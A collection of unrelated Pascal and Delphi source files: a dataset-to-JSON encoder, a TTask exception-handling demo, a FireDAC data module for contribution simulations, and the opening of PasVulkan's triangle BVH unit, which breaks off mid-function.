// This procedure is technically licensed under LCL. In future stable versions of
// Lazarus I can go back to simply linking, and keep my code fully MIT Licensed
procedure LoadDataSourceFieldss(DataSource: TDataSource; List: TStrings);
var
DataSet: TDataSet;
i: Integer;
begin
if Assigned(DataSource) then
begin
DataSet := DataSource.DataSet;
if Assigned(DataSet) then
begin
if DataSet.Fields.Count > 0 then
begin
DataSet.GetFieldNames(List);
end
else
begin
for i := 0 to DataSet.FieldDefs.Count - 1 do
begin
List.Add(DataSet.FieldDefs[i].Name);
end;
end;
end;
end;
end;
procedure TPASFormatEditor.FillValues(const Values: TStringList);
var
DataSource: TDataSource;
begin
DataSource := GetObjectProp(GetComponent(0), 'DataSource') as TDataSource;
LoadDataSourceFieldss(DataSource, Values);
end;
end.
|
{
JPJSON Encode
Version: 1.1
Author: JEAN PATRICK - www.jeansistemas.net - jpsoft-sac-pa@hotmail.com
Date: 2012-07-05
Licence: Free and OpenSource
}
unit jpjsonencode;
{$mode objfpc}{$H+}
interface
uses
SysUtils, DB;
type
{ TJPJSONEncode }
TJPJSONEncode = class
public
function DataSetToJSONArray(DataSet: TDataSet; CheckedImgPath: string = 'true';
UncheckedImgPath: string = 'false'): string;
private
function EscapeJSONString(sJSON: string): string;
end;
implementation
{ TJPJSONEncode }
function TJPJSONEncode.DataSetToJSONArray(DataSet: TDataSet;
CheckedImgPath: string; UncheckedImgPath: string): string;
var
i: integer;
jf: TFormatSettings;
begin
Result := '';
if (CheckedImgPath <> 'true') then
CheckedImgPath := '"<img src=''' + CheckedImgPath +
''' style=''padding-top:3px;''></img>"';
if (UncheckedImgPath <> 'false') then
UncheckedImgPath := '"<img src=''' + UncheckedImgPath +
''' style=''padding-top:3px;''></img>"';
with DataSet do
begin
if (IsEmpty) then
begin
Result := '[]';
Exit;
end;
if not (Active) then
begin
try
Open;
except
raise Exception.Create('JPJSONEncode error: Unable to open DataSet!');
end;
end;
First;
jf := DefaultFormatSettings;
jf.DecimalSeparator := '.';
jf.ThousandSeparator := ',';
while not (EOF) do
begin
Result += '{';
for i := 0 to FieldCount - 1 do
begin
if (i > 0) then
Result += ',';
Result += '"' + Fields[i].FieldName + '":';
if Fields[i].IsNull then
Result += 'null'
else
begin
case Fields[i].DataType of
ftSmallint, ftInteger:
begin
if (Fields[i].Tag > 0) then
Result += '"' + FormatFloat(
StringOfChar('0', Fields[i].Tag), Fields[i].AsFloat) + '"'
else
Result += Fields[i].AsString;
end;
ftFloat:
begin
if (Fields[i].Tag = 1) then
Result += '"' + FloatToStrF(Fields[i].AsFloat, ffCurrency, 14, 2) + '"'
else if (Fields[i].Tag = 2) then
Result += '"' + FloatToStrF(Fields[i].AsFloat, ffNumber, 14, 2) + '"'
else
Result += FloatToStrf(Fields[i].AsFloat, ffGeneral, 14, 2, jf);
end;
ftBoolean: if (Fields[i].AsBoolean) then
Result += CheckedImgPath
else
Result += UncheckedImgPath;
else
Result += '"' + EscapeJSONString(Fields[i].AsString) + '"';
end;
end;
end;
Result += '}';
Next;
if not (EOF) then
Result += ',';
end;
end;
Result := '[' + Result + ']';
end;
function TJPJSONEncode.EscapeJSONString(sJSON: string): string;
var
i, j, l: integer;
p: PChar;
begin
j := 1;
Result := '';
l := Length(sJSON) + 1;
p := PChar(sJSON);
for i := 1 to l do
begin
if (p^ in ['"', '/', '\', #8, #9, #10, #12, #13]) then
begin
Result += Copy(sJSON, j, i - j);
case p^ of
'\': Result += '\\';
'/': Result += '\/';
'"': Result += '\"';
#8: Result += '\b';
#9: Result += '\t';
#10: Result += '\n';
#12: Result += '\f';
#13: Result += '\r';
end;
j := i + 1;
end;
Inc(p);
end;
Result += Copy(sJSON, j, i - 1);
end;
end.
|
unit frmTaskException;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TForm61 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form61: TForm61;
implementation
{$R *.dfm}
uses
System.Threading
, uSlowCode
, System.Diagnostics
;
type
ETaskException = class(Exception);
procedure TForm61.Button1Click(Sender: TObject);
begin
TTask.Run(procedure
var
Stopwatch: TStopWatch;
Total: Integer;
ElapsedSeconds: Double;
begin
Stopwatch := TStopwatch.StartNew;
// oops, something happened!
raise Exception.Create('An error of some sort occurred in the task');
Total := PrimesBelow(200000);
ElapsedSeconds := StopWatch.Elapsed.TotalSeconds;
TThread.Synchronize(TThread.Current,
procedure
begin
Memo1.Lines.Add(Format('There are %d primes under 200,000', [Total]));
Memo1.Lines.Add(Format('It took %:2f seconds to calcluate that', [ElapsedSeconds]));
end);
end
);
end;
procedure TForm61.Button2Click(Sender: TObject);
begin
TTask.Run(procedure
var
Stopwatch: TStopWatch;
Total: Integer;
ElapsedSeconds: Double;
begin
try
Stopwatch := TStopwatch.StartNew;
// oops, something happened!
raise ETaskException.Create('An error of some sort occurred in the task');
Total := PrimesBelow(200000);
ElapsedSeconds := StopWatch.Elapsed.TotalSeconds;
TThread.Synchronize(TThread.Current,
procedure
begin
Memo1.Lines.Add(Format('There are %d primes under 200,000', [Total]));
Memo1.Lines.Add(Format('It took %:2f seconds to calcluate that', [ElapsedSeconds]));
end);
except
on e: ETaskException do
begin
TThread.Queue(TThread.Current,
procedure
begin
raise E;
end
);
end
end;
end
);
end;
procedure TForm61.Button3Click(Sender: TObject);
var
AcquiredException: Exception;
begin
TTask.Run(procedure
var
Stopwatch: TStopWatch;
Total: Integer;
ElapsedSeconds: Double;
begin
try
Stopwatch := TStopwatch.StartNew;
// oops, something happened!
raise ETaskException.Create('An error of some sort occurred in the task');
Total := PrimesBelow(200000);
ElapsedSeconds := StopWatch.Elapsed.TotalSeconds;
TThread.Synchronize(TThread.Current,
procedure
begin
Memo1.Lines.Add(Format('There are %d primes under 200,000', [Total]));
Memo1.Lines.Add(Format('It took %:2f seconds to calcluate that', [ElapsedSeconds]));
end);
except
on e: ETaskException do
begin
AcquiredException := AcquireExceptionObject;
TThread.Queue(TThread.Current,
procedure
begin
raise AcquiredException;
end
);
end
end;
end
);
end;
end.
|
unit uDMSimulacao;
interface
uses
System.SysUtils, System.Classes, FireDAC.Stan.Intf, FireDAC.Stan.Option,
FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS, FireDAC.Phys.Intf,
FireDAC.DApt.Intf, FireDAC.Stan.Async, FireDAC.DApt, Data.DB,
FireDAC.Comp.DataSet, FireDAC.Comp.Client, uIBaseEntity, uSimulacao,
System.Generics.Collections;
type
TAluno = class(TDataModule)
end;
TDMSimulacao = class(TDataModule)
FQryConsultar: TFDQuery;
FQryInserir: TFDQuery;
FQryConsultarID_SIMULACAO: TIntegerField;
FQryConsultarQUANTIDADE: TIntegerField;
FQryConsultarDATA_ULTIMA_CONTRIBUICAO: TDateField;
FQryConsultarVALOR: TFloatField;
FQryConsultarPERCENTUAL: TFloatField;
FQryExcluir: TFDQuery;
private
FSimulacaoList: TObjectList<TSimulacao>;
procedure PopularColecao(DataSet: TDataSet);
public
{ Public declarations }
function Inserir(Simulacao: TSimulacao; out MsgErro: string): Boolean;
function Alterar(Simulacao: TSimulacao; out MsgErro: string): Boolean;
function Excluir(Simulacao: TSimulacao; out MsgErro: string): Boolean;
function Pesquisar: TObjectList<TSimulacao>;
constructor Create(AOwner: TComponent);
destructor Destroy; override;
end;
var
DMSimulacao: TDMSimulacao;
implementation
uses
uDMConexao;
resourcestring
MsgErroInserirSimulacao = 'Ocorreu um erro ao inserir a simulação!';
MsgErroExcluirSimulacao = 'Ocorreu um erro ao remover uma simulação!';
{%CLASSGROUP 'Vcl.Controls.TControl'}
{$R *.dfm}
{ TDMSimulacao }
function TDMSimulacao.Alterar(Simulacao: TSimulacao;
out MsgErro: string): Boolean;
begin
// TODO
end;
constructor TDMSimulacao.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FSimulacaoList := TObjectList<TSimulacao>.Create;
end;
destructor TDMSimulacao.Destroy;
begin
if Assigned(FSimulacaoList) then
FreeAndNil(FSimulacaoList);
inherited;
end;
function TDMSimulacao.Excluir(Simulacao: TSimulacao; out MsgErro: string): Boolean;
begin
Result := True;
try
FQryExcluir.ParamByName('ID_SIMULACAO').AsInteger := Simulacao.IDSimulacao;
FQryExcluir.Prepare;
FQryExcluir.ExecSQL;
except on E: Exception do
begin
MsgErro := MsgErroExcluirSimulacao + sLineBreak + E.Message;
Result := False;
end;
end;
end;
function TDMSimulacao.Inserir(Simulacao: TSimulacao;
out MsgErro: string): Boolean;
begin
Result := True;
try
FQryInserir.ParamByName('QUANTIDADE').AsInteger := Simulacao.QtdeContribuicoes;
FQryInserir.ParamByName('DATA_ULTIMA_CONTRIBUICAO').AsDateTime := Simulacao.DataUltimaContribuicao;
FQryInserir.ParamByName('VALOR').AsCurrency := Simulacao.ValorMensal;
FQryInserir.ParamByName('PERCENTUAL').AsFloat := Simulacao.Percentual;
FQryInserir.Prepare;
FQryInserir.ExecSQL;
Result := True;
except on E: Exception do
begin
MsgErro := MsgErroInserirSimulacao + sLineBreak + E.Message;
Result := False;
end;
end;
end;
function TDMSimulacao.Pesquisar: TObjectList<TSimulacao>;
begin
if FQryConsultar.Active then
FQryConsultar.Close;
FQryConsultar.Open;
FQryConsultar.First;
PopularColecao(FQryConsultar);
Result := FSimulacaoList;
end;
procedure TDMSimulacao.PopularColecao(DataSet: TDataSet);
var
LSimulacao: TSimulacao;
begin
FSimulacaoList.Clear;
while not DataSet.Eof do
begin
LSimulacao := TSimulacao.Create;
LSimulacao.IDSimulacao := DataSet.FieldByName('ID_SIMULACAO').AsInteger;
LSimulacao.QtdeContribuicoes := DataSet.FieldByName('QUANTIDADE').AsInteger;
LSimulacao.DataUltimaContribuicao := DataSet.FieldByName('DATA_ULTIMA_CONTRIBUICAO').AsDateTime;
LSimulacao.ValorMensal := DataSet.FieldByName('VALOR').AsCurrency;
LSimulacao.Percentual := DataSet.FieldByName('PERCENTUAL').AsFloat;
FSimulacaoList.Add(LSimulacao);
DataSet.Next;
end;
end;
end.
|
(******************************************************************************
* PasVulkan *
******************************************************************************
* Version see PasVulkan.Framework.pas *
******************************************************************************
* zlib license *
*============================================================================*
* *
* Copyright (C) 2016-2021, Benjamin Rosseaux (benjamin@rosseaux.de) *
* *
* This software is provided 'as-is', without any express or implied *
* warranty. In no event will the authors be held liable for any damages *
* arising from the use of this software. *
* *
* Permission is granted to anyone to use this software for any purpose, *
* including commercial applications, and to alter it and redistribute it *
* freely, subject to the following restrictions: *
* *
* 1. The origin of this software must not be misrepresented; you must not *
* claim that you wrote the original software. If you use this software *
* in a product, an acknowledgement in the product documentation would be *
* appreciated but is not required. *
* 2. Altered source versions must be plainly marked as such, and must not be *
* misrepresented as being the original software. *
* 3. This notice may not be removed or altered from any source distribution. *
* *
******************************************************************************
* General guideTriangles for code contributors *
*============================================================================*
* *
* 1. Make sure you are legally allowed to make a contribution under the zlib *
* license. *
* 2. The zlib license header goes at the top of each source file, with *
* appropriate copyright notice. *
* 3. This PasVulkan wrapper may be used only with the PasVulkan-own Vulkan *
* Pascal header. *
* 4. After a pull request, check the status of your pull request on *
http://github.com/BeRo1985/pasvulkan *
* 5. Write code which's compatible with Delphi >= 2009 and FreePascal >= *
* 3.1.1 *
* 6. Don't use Delphi-only, FreePascal-only or Lazarus-only libraries/units, *
* but if needed, make it out-ifdef-able. *
* 7. No use of third-party libraries/units as possible, but if needed, make *
* it out-ifdef-able. *
* 8. Try to use const when possible. *
* 9. Make sure to comment out writeln, used while debugging. *
* 10. Make sure the code compiles on 32-bit and 64-bit platforms (x86-32, *
* x86-64, ARM, ARM64, etc.). *
* 11. Make sure the code runs on all platforms with Vulkan support *
* *
******************************************************************************)
unit PasVulkan.BVH.Triangles;
{$i PasVulkan.inc}
{$ifndef fpc}
{$ifdef conditionalexpressions}
{$if CompilerVersion>=24.0}
{$legacyifend on}
{$ifend}
{$endif}
{$endif}
{$ifdef Delphi2009AndUp}
{$warn DUPLICATE_CTOR_DTOR off}
{$endif}
{$undef UseDouble}
{$ifdef UseDouble}
{$define NonSIMD}
{$endif}
{-$define NonSIMD}
{$ifdef NonSIMD}
{$undef SIMD}
{$else}
{$ifdef cpu386}
{$if not (defined(Darwin) or defined(CompileForWithPIC))}
{$define SIMD}
{$ifend}
{$endif}
{$ifdef cpux64}
{$define SIMD}
{$endif}
{$endif}
{$define NonRecursive}
{$ifndef fpc}
{$scopedenums on}
{$endif}
interface
uses SysUtils,
Classes,
Math,
PasMP,
PasVulkan.Types,
PasVulkan.Math,
PasVulkan.Collections;
type EpvTriangleBVH=class(Exception);
{ TpvTriangleBVHRay }
TpvTriangleBVHRay=record
public
Origin:TpvVector3;
Direction:TpvVector3;
constructor Create(const aOrigin,aDirection:TpvVector3);
end;
PpvTriangleBVHRay=^TpvTriangleBVHRay;
{ TpvTriangleBVHTriangle }
TpvTriangleBVHTriangle=packed record
public
Points:array[0..2] of TpvVector3;
Normal:TpvVector3;
Center:TpvVector3;
Data:TpvPtrInt;
Flags:TpvUInt32;
function Area:TpvScalar;
function RayIntersection(const aRayOrigin,aRayDirection:TpvVector3;out aTime,aU,aV,aW:TpvScalar):boolean; overload;
function RayIntersection(const aRay:TpvTriangleBVHRay;out aTime,aU,aV,aW:TpvScalar):boolean; overload;
end;
PpvTriangleBVHTriangle=^TpvTriangleBVHTriangle;
TpvTriangleBVHTriangles=array of TpvTriangleBVHTriangle;
TpvTriangleBVHIntersection=packed record
public
Time:TpvScalar;
Triangle:PpvTriangleBVHTriangle;
IntersectionPoint:TpvVector3;
Barycentrics:TpvVector3;
end;
PpvTriangleBVHIntersection=^TpvTriangleBVHIntersection;
{ TpvTriangleBVHTreeNode }
TpvTriangleBVHTreeNode=packed record
Bounds:TpvAABB;
FirstLeftChild:TpvInt32;
FirstTriangleIndex:TpvInt32;
CountTriangles:TpvInt32;
end;
PpvTriangleBVHTreeNode=^TpvTriangleBVHTreeNode;
TpvTriangleBVHTreeNodes=array of TpvTriangleBVHTreeNode;
{ TpvTriangleBVHSkipListNode }
TpvTriangleBVHSkipListNode=packed record // must be GPU-friendly
Min:TpvVector4;
Max:TpvVector4;
FirstTriangleIndex:TpvInt32;
CountTriangles:TpvInt32;
SkipCount:TpvInt32;
Dummy:TpvInt32;
end; // 48 bytes per Skip list item
PpvTriangleBVHSkipListNode=^TpvTriangleBVHSkipListNode;
TpvTriangleBVHSkipListNodes=array of TpvTriangleBVHSkipListNode;
TpvTriangleBVHNodeQueue=TPasMPUnboundedQueue<TpvInt32>;
TpvTriangleBVHBuildMode=
(
MeanVariance,
SAHBruteforce,
SAHSteps,
SAHBinned,
SAHRandomInsert
);
{ TpvTriangleBVH }
TpvTriangleBVH=class
private
type TTreeNodeStack=TpvDynamicStack<TpvUInt64>;
TSkipListNodeMap=array of TpvInt32;
private
fPasMPInstance:TPasMP;
fBounds:TpvAABB;
fTriangles:TpvTriangleBVHTriangles;
fCountTriangles:TpvInt32;
fTreeNodes:TpvTriangleBVHTreeNodes;
fCountTreeNodes:TpvInt32;
fTreeNodeRoot:TpvInt32;
fSkipListNodeMap:TSkipListNodeMap;
fSkipListNodes:TpvTriangleBVHSkipListNodes;
fCountSkipListNodes:TpvInt32;
fNodeQueue:TpvTriangleBVHNodeQueue;
fNodeQueueLock:TPasMPSlimReaderWriterLock;
fCountActiveWorkers:TPasMPInt32;
fTreeNodeStack:TTreeNodeStack;
fBVHBuildMode:TpvTriangleBVHBuildMode;
fBVHSubdivisionSteps:TpvInt32;
fBVHTraversalCost:TpvScalar;
fBVHIntersectionCost:TpvScalar;
fMaximumTrianglesPerNode:TpvInt32;
fTriangleAreaSplitThreshold:TpvScalar;
procedure SplitTooLargeTriangles;
function EvaluateSAH(const aParentTreeNode:PpvTriangleBVHTreeNode;const aAxis:TpvInt32;const aSplitPosition:TpvFloat):TpvFloat;
function FindBestSplitPlaneMeanVariance(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):Boolean;
function FindBestSplitPlaneSAHBruteforce(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):TpvFloat;
function FindBestSplitPlaneSAHSteps(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):TpvFloat;
function FindBestSplitPlaneSAHBinned(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):TpvFloat;
function CalculateNodeCost(const aParentTreeNode:PpvTriangleBVHTreeNode):TpvFloat;
procedure UpdateNodeBounds(const aParentTreeNode:PpvTriangleBVHTreeNode);
procedure ProcessNodeQueue;
procedure BuildJob(const Job:PPasMPJob;const ThreadIndex:TPasMPInt32);
public
constructor Create(const aPasMPInstance:TPasMP);
destructor Destroy; override;
procedure Clear;
function AddTriangle(const aPoint0,aPoint1,aPoint2:TpvVector3;const aNormal:PpvVector3=nil;const aData:TpvPtrInt=0;const aFlags:TpvUInt32=TpvUInt32($ffffffff)):TpvInt32;
procedure Build;
procedure LoadFromStream(const aStream:TStream);
procedure SaveToStream(const aStream:TStream);
function RayIntersection(const aRay:TpvTriangleBVHRay;var aIntersection:TpvTriangleBVHIntersection;const aFastCheck:boolean=false;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):boolean;
function CountRayIntersections(const aRay:TpvTriangleBVHRay;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):TpvInt32;
function LineIntersection(const aV0,aV1:TpvVector3;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):boolean;
function IsOpenSpacePerEvenOddRule(const aPosition:TpvVector3;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):boolean; overload;
function IsOpenSpacePerEvenOddRule(const aPosition:TpvVector3;out aNearestNormal,aNearestNormalPosition:TpvVector3;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):boolean; overload;
function IsOpenSpacePerNormals(const aPosition:TpvVector3;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):boolean; overload;
function IsOpenSpacePerNormals(const aPosition:TpvVector3;out aNearestNormal,aNearestNormalPosition:TpvVector3;const aFlags:TpvUInt32=TpvUInt32($ffffffff);const aAvoidFlags:TpvUInt32=TpvUInt32(0)):boolean; overload;
public
property Triangles:TpvTriangleBVHTriangles read fTriangles;
property CountTriangles:TpvInt32 read fCountTriangles;
property TreeNodes:TpvTriangleBVHTreeNodes read fTreeNodes;
property CountTreeNodes:TpvInt32 read fCountTreeNodes;
property TreeNodeRoot:TpvInt32 read fTreeNodeRoot;
property SkipListNodes:TpvTriangleBVHSkipListNodes read fSkipListNodes;
property CountSkipListNodes:TpvInt32 read fCountSkipListNodes;
property BVHBuildMode:TpvTriangleBVHBuildMode read fBVHBuildMode write fBVHBuildMode;
property BVHSubdivisionSteps:TpvInt32 read fBVHSubdivisionSteps write fBVHSubdivisionSteps;
property BVHTraversalCost:TpvScalar read fBVHTraversalCost write fBVHTraversalCost;
property BVHIntersectionCost:TpvScalar read fBVHIntersectionCost write fBVHIntersectionCost;
property MaximumTrianglesPerNode:TpvInt32 read fMaximumTrianglesPerNode write fMaximumTrianglesPerNode;
property TriangleAreaSplitThreshold:TpvScalar read fTriangleAreaSplitThreshold write fTriangleAreaSplitThreshold;
end;
implementation
uses PasVulkan.BVH.DynamicAABBTree;
type TTriangleBVHFileSignature=array[0..7] of AnsiChar;
const TriangleBVHFileSignature:TTriangleBVHFileSignature=('T','B','V','H','F','i','l','e'); // Triangle BVH File
TriangleBVHFileVersion=TpvUInt32($00000001);
{ TpvTriangleBVHRay }
constructor TpvTriangleBVHRay.Create(const aOrigin,aDirection:TpvVector3);
begin
Origin:=aOrigin;
Direction:=aDirection;
end;
{ TpvTriangleBVHTriangle }
function TpvTriangleBVHTriangle.Area:TpvScalar;
begin
result:=((Points[1]-Points[0]).Cross(Points[2]-Points[0])).Length;
end;
function TpvTriangleBVHTriangle.RayIntersection(const aRayOrigin,aRayDirection:TpvVector3;out aTime,aU,aV,aW:TpvScalar):boolean;
const EPSILON=1e-7;
var v0v1,v0v2,p,t,q:TpvVector3;
Determinant,InverseDeterminant:TpvScalar;
begin
result:=false;
v0v1:=Points[1]-Points[0];
v0v2:=Points[2]-Points[0];
p:=aRayDirection.Cross(v0v2);
Determinant:=v0v1.Dot(p);
if Determinant<EPSILON then begin
exit;
end;
InverseDeterminant:=1.0/Determinant;
t:=aRayOrigin-Points[0];
aV:=t.Dot(p)*InverseDeterminant;
if (aV<0.0) or (aV>1.0) then begin
exit;
end;
q:=t.Cross(v0v1);
aW:=aRayDirection.Dot(q)*InverseDeterminant;
if (aW<0.0) or ((aV+aW)>1.0) then begin
exit;
end;
aTime:=v0v2.Dot(q)*InverseDeterminant;
aU:=1.0-(aV+aW);
result:=true;
end;
function TpvTriangleBVHTriangle.RayIntersection(const aRay:TpvTriangleBVHRay;out aTime,aU,aV,aW:TpvScalar):boolean;
const EPSILON=1e-7;
var v0v1,v0v2,p,t,q:TpvVector3;
Determinant,InverseDeterminant:TpvScalar;
begin
result:=false;
v0v1:=Points[1]-Points[0];
v0v2:=Points[2]-Points[0];
p:=aRay.Direction.Cross(v0v2);
Determinant:=v0v1.Dot(p);
if Determinant<EPSILON then begin
exit;
end;
InverseDeterminant:=1.0/Determinant;
t:=aRay.Origin-Points[0];
aV:=t.Dot(p)*InverseDeterminant;
if (aV<0.0) or (aV>1.0) then begin
exit;
end;
q:=t.Cross(v0v1);
aW:=aRay.Direction.Dot(q)*InverseDeterminant;
if (aW<0.0) or ((aV+aW)>1.0) then begin
exit;
end;
aTime:=v0v2.Dot(q)*InverseDeterminant;
aU:=1.0-(aV+aW);
result:=true;
end;
{ TpvTriangleBVH }
constructor TpvTriangleBVH.Create(const aPasMPInstance:TPasMP);
begin
inherited Create;
fPasMPInstance:=aPasMPInstance;
fTriangles:=nil;
fCountTriangles:=0;
fTreeNodes:=nil;
fCountTreeNodes:=0;
fTreeNodeRoot:=-1;
fSkipListNodes:=nil;
fCountSkipListNodes:=0;
fNodeQueue:=TpvTriangleBVHNodeQueue.Create;
fNodeQueueLock:=TPasMPSlimReaderWriterLock.Create;
fTreeNodeStack.Initialize;
fSkipListNodeMap:=nil;
fBVHBuildMode:=TpvTriangleBVHBuildMode.SAHSteps;
fBVHSubdivisionSteps:=8;
fBVHTraversalCost:=2.0;
fBVHIntersectionCost:=1.0;
fMaximumTrianglesPerNode:=4;
fTriangleAreaSplitThreshold:=0.0;
end;
destructor TpvTriangleBVH.Destroy;
begin
fTriangles:=nil;
fTreeNodes:=nil;
fSkipListNodes:=nil;
fTreeNodeStack.Finalize;
FreeAndNil(fNodeQueue);
FreeAndNil(fNodeQueueLock);
fSkipListNodeMap:=nil;
inherited Destroy;
end;
procedure TpvTriangleBVH.Clear;
begin
fCountTriangles:=0;
fCountTreeNodes:=0;
fTreeNodeRoot:=-1;
fCountSkipListNodes:=0;
end;
function TpvTriangleBVH.AddTriangle(const aPoint0,aPoint1,aPoint2:TpvVector3;const aNormal:PpvVector3;const aData:TpvPtrInt;const aFlags:TpvUInt32):TpvInt32;
var Triangle:PpvTriangleBVHTriangle;
begin
result:=fCountTriangles;
inc(fCountTriangles);
if length(fTriangles)<=fCountTriangles then begin
SetLength(fTriangles,fCountTriangles+((fCountTriangles+1) shr 1));
end;
Triangle:=@fTriangles[result];
Triangle^.Points[0]:=aPoint0;
Triangle^.Points[1]:=aPoint1;
Triangle^.Points[2]:=aPoint2;
if assigned(aNormal) then begin
Triangle^.Normal:=aNormal^;
end else begin
Triangle^.Normal:=((Triangle^.Points[1]-Triangle^.Points[0]).Cross(Triangle^.Points[2]-Triangle^.Points[0])).Normalize;
end;
Triangle^.Center:=(aPoint0+aPoint1+aPoint2)/3.0;
Triangle^.Data:=aData;
Triangle^.Flags:=aFlags;
if result=0 then begin
fBounds.Min.x:=Min(Min(aPoint0.x,aPoint1.x),aPoint2.x);
fBounds.Min.y:=Min(Min(aPoint0.y,aPoint1.y),aPoint2.y);
fBounds.Min.z:=Min(Min(aPoint0.z,aPoint1.z),aPoint2.z);
fBounds.Max.x:=Max(Max(aPoint0.x,aPoint1.x),aPoint2.x);
fBounds.Max.y:=Max(Max(aPoint0.y,aPoint1.y),aPoint2.y);
fBounds.Max.z:=Max(Max(aPoint0.z,aPoint1.z),aPoint2.z);
end else begin
fBounds.Min.x:=Min(fBounds.Min.x,Min(Min(aPoint0.x,aPoint1.x),aPoint2.x));
fBounds.Min.y:=Min(fBounds.Min.y,Min(Min(aPoint0.y,aPoint1.y),aPoint2.y));
fBounds.Min.z:=Min(fBounds.Min.z,Min(Min(aPoint0.z,aPoint1.z),aPoint2.z));
fBounds.Max.x:=Max(fBounds.Max.x,Max(Max(aPoint0.x,aPoint1.x),aPoint2.x));
fBounds.Max.y:=Max(fBounds.Max.y,Max(Max(aPoint0.y,aPoint1.y),aPoint2.y));
fBounds.Max.z:=Max(fBounds.Max.z,Max(Max(aPoint0.z,aPoint1.z),aPoint2.z));
end;
end;
procedure TpvTriangleBVH.SplitTooLargeTriangles;
type TTriangleQueue=TpvDynamicQueue<TpvInt32>;
var TriangleIndex:TpvInt32;
Triangle:PpvTriangleBVHTriangle;
TriangleQueue:TTriangleQueue;
Vertices:array[0..2] of PpvVector3;
NewVertices:array[0..2] of TpvVector3;
Normal:TpvVector3;
Data:TpvPtrInt;
Flags:TpvUInt32;
begin
if fTriangleAreaSplitThreshold>EPSILON then begin
TriangleQueue.Initialize;
try
// Find seed too large triangles and enqueue them
for TriangleIndex:=0 to fCountTriangles-1 do begin
Triangle:=@fTriangles[TriangleIndex];
if Triangle^.Area>fTriangleAreaSplitThreshold then begin
TriangleQueue.Enqueue(TriangleIndex);
end;
end;
// Split too large triangles into each four sub triangles until there are no more too large triangles
// p0
// /\
// / \
// / t3 \
// m2/______\m0
// / \ / \
// / t2\t0/ t1\
// p2/_____\/_____\p1
// m1
// t0: m0,m1,m2
// t1: m0,p1,m1
// t2: m2,m1,p2
// t3: p0,m0,m2
while TriangleQueue.Dequeue(TriangleIndex) do begin
Triangle:=@fTriangles[TriangleIndex];
Vertices[0]:=@Triangle^.Points[0]; // p0
Vertices[1]:=@Triangle^.Points[1]; // p1
Vertices[2]:=@Triangle^.Points[2]; // p2
NewVertices[0]:=(Vertices[0]^+Vertices[1]^)*0.5; // m0
NewVertices[1]:=(Vertices[1]^+Vertices[2]^)*0.5; // m1
NewVertices[2]:=(Vertices[2]^+Vertices[0]^)*0.5; // m2
// Create new four triangles, where the current triangle will overwritten by the first one
// The first triangle: m0,m1,m2
Triangle^.Points[0]:=NewVertices[0]; // m0
Triangle^.Points[1]:=NewVertices[1]; // m1
Triangle^.Points[2]:=NewVertices[2]; // m2
// Triangle^.Normal:=((Triangle^.Points[1]-Triangle^.Points[0]).Cross(Triangle^.Points[2]-Triangle^.Points[0])).Normalize;
Triangle^.Center:=(Triangle^.Points[0]+Triangle^.Points[1]+Triangle^.Points[2])/3.0;
Normal:=Triangle^.Normal;
Data:=Triangle^.Data;
Flags:=Triangle^.Flags;
if Triangle^.Area>fTriangleAreaSplitThreshold then begin
TriangleQueue.Enqueue(TriangleIndex); // Enqueue the first triangle again, when it is still too large
end;
// The second triangle: m0,p1,m1
TriangleIndex:=AddTriangle(NewVertices[0],
Vertices[1]^,
NewVertices[1],
@Normal,
Data,
Flags);
Triangle:=@fTriangles[TriangleIndex];
if Triangle^.Area>fTriangleAreaSplitThreshold then begin
TriangleQueue.Enqueue(TriangleIndex); // Enqueue the second triangle again, when it is still too large
end;
// The third triangle: m2,m1,p2
TriangleIndex:=AddTriangle(NewVertices[2],
NewVertices[1],
Vertices[2]^,
@Normal,
Data,
Flags);
Triangle:=@fTriangles[TriangleIndex];
if Triangle^.Area>fTriangleAreaSplitThreshold then begin
TriangleQueue.Enqueue(TriangleIndex); // Enqueue the third triangle again, when it is still too large
end;
// The fourth triangle: p0,m0,m2
TriangleIndex:=AddTriangle(Vertices[0]^,
NewVertices[0],
NewVertices[2],
@Normal,
Data,
Flags);
Triangle:=@fTriangles[TriangleIndex];
if Triangle^.Area>fTriangleAreaSplitThreshold then begin
TriangleQueue.Enqueue(TriangleIndex); // Enqueue the fourth triangle again, when it is still too large
end;
end;
finally
TriangleQueue.Finalize;
end;
end;
end;
function TpvTriangleBVH.EvaluateSAH(const aParentTreeNode:PpvTriangleBVHTreeNode;const aAxis:TpvInt32;const aSplitPosition:TpvFloat):TpvFloat;
var LeftAABB,RightAABB:TpvAABB;
LeftCount,RightCount,TriangleIndex:TpvInt32;
Triangle:PpvTriangleBVHTriangle;
begin
LeftCount:=0;
RightCount:=0;
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
if Triangle^.Center.xyz[aAxis]<aSplitPosition then begin
if LeftCount=0 then begin
LeftAABB.Min.x:=Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
